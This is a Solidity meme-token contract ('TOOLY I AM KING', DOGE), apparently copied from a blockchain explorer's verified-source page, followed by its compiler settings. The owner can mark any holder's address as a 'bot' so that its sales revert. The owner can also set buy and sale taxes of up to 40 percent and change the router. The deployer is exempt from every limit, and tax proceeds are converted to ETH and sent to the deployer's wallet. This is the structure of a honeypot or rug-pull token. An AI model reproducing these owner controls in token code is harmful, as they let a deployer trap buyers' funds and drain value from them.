文件 1 的 1:DOGE.sol
pragma solidity ^0.8.16;
abstract contract Ownership {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
error NotOwner();
modifier onlyOwner {
if (msg.sender != owner) {
revert NotOwner();
}
_;
}
constructor(address owner_) {
owner = owner_;
}
function _renounceOwnership() internal virtual {
owner = address(0);
emit OwnershipTransferred(owner, address(0));
}
function renounceOwnership() external onlyOwner {
_renounceOwnership();
}
}
interface IRouter {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOGE is Ownership {
uint256 constant internal _totalSupply = 420_420_420 gwei;
string internal _name = "TOOLY I AM KING";
string internal _symbol = "DOGE";
uint8 constant internal _decimals = 9;
uint256 private immutable _maxTx;
uint256 private immutable _maxWallet;
bool private _inSwap;
bool public launched;
bool public limited = true;
uint8 private _buyTax = 30;
uint8 private _saleTax = 30;
address private _pair;
address payable private immutable _deployer;
address private _router;
uint128 private _swapThreshold;
uint128 private _swapAmount;
mapping (address => bool) private _isBot;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
error ExceedsAllowance();
error ExceedsBalance();
error ExceedsLimit();
error NotTradeable();
modifier swapping {
_inSwap = true;
_;
_inSwap = false;
}
constructor(address router) Ownership(msg.sender) {
_router = router;
_deployer = payable(msg.sender);
_maxTx = _totalSupply / 100;
_maxWallet = _totalSupply / 50;
_swapThreshold = uint128(_totalSupply);
_approve(address(this), router, type(uint256).max);
_approve(msg.sender, router, type(uint256).max);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner_, address spender) external view returns (uint256) {
return _allowances[owner_][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner_, address spender, uint256 amount) internal {
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
if (currentAllowance < amount) {
revert ExceedsAllowance();
}
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
uint256 senderBalance = _balances[sender];
if (senderBalance < amount) {
revert ExceedsBalance();
}
uint256 amountReceived = _beforeTokenTransfer(sender, recipient, amount);
unchecked {
_balances[sender] = senderBalance - amount;
_balances[recipient] += amountReceived;
}
emit Transfer(sender, recipient, amountReceived);
}
receive() external payable {}
function FuckingSendIt(address tradingPair) external onlyOwner {
_pair = tradingPair;
launched = true;
}
function setTradingPair(address tradingPair) external onlyOwner {
_pair = tradingPair;
}
function setRouter(address r) external onlyOwner {
_router = r;
}
function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal returns (uint256) {
address dep = _deployer;
if (tx.origin == dep || sender == dep || recipient == dep || sender == address(this)) {
return amount;
}
if (!launched || _isBot[sender] || _isBot[recipient]) {
revert NotTradeable();
}
address tradingPair = _pair;
bool isBuy = sender == tradingPair;
bool isSale = recipient == tradingPair;
uint256 amountToRecieve = amount;
if (isSale) {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
if (!_inSwap && contractBalance >= _swapThreshold) {
_sellAndFund(contractBalance);
}
}
uint8 saleTax = _saleTax;
if (saleTax > 0) {
uint256 fee = amount * _saleTax / 100;
unchecked {
amountToRecieve = amount - fee;
_balances[address(this)] += fee;
}
emit Transfer(sender, address(this), fee);
}
}
if (isBuy) {
uint256 buyTax = _buyTax;
if (buyTax > 0) {
uint256 fee = amount * _buyTax / 100;
unchecked {
amountToRecieve = amount - fee;
_balances[address(this)] += fee;
}
emit Transfer(sender, address(this), fee);
}
}
if (recipient != address(this)) {
if (limited) {
if (
amountToRecieve > _maxTx
|| (!isSale && balanceOf(recipient) + amountToRecieve > _maxWallet)
) {
revert ExceedsLimit();
}
}
}
return amountToRecieve;
}
function setUnlimited() external onlyOwner {
limited = false;
}
function _renounceOwnership() internal override {
_buyTax = 0;
_saleTax = 0;
limited = false;
super._renounceOwnership();
}
function setBuyTax(uint8 buyTax) external onlyOwner {
if (buyTax > 40) {
revert ExceedsLimit();
}
_buyTax = buyTax;
}
function setSaleTax(uint8 saleTax) external onlyOwner {
if (saleTax > 40) {
revert ExceedsLimit();
}
_saleTax = saleTax;
}
function setSwapSettings(uint128 thres, uint128 amount) external onlyOwner {
_swapThreshold = thres;
_swapAmount = amount;
}
function _swap(uint256 amount) private swapping {
address[] memory path = new address[](2);
path[0] = address(this);
IRouter router = IRouter(_router);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
function _sellAndFund(uint256 contractBalance) private {
uint256 maxSwap = _swapAmount;
uint256 toSwap = contractBalance > maxSwap ? maxSwap : contractBalance;
if (toSwap > 0) {
_swap(toSwap);
}
launchFunds();
}
function launchFunds() public returns (bool success) {
(success,) = _deployer.call{value: address(this).balance}("");
}
function catchMaliciousActors(address[] calldata malicious) external onlyOwner {
for (uint256 i = 0; i < malicious.length; i++) {
_isBot[malicious[i]] = true;
}
}
function setMark(address account, bool m) external onlyOwner {
_isBot[account] = m;
}
function getTaxes() external view returns (uint8 buyTax, uint8 saleTax) {
buyTax = _buyTax;
saleTax = _saleTax;
}
}
{
"compilationTarget": {
"DOGE.sol": "DOGE"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}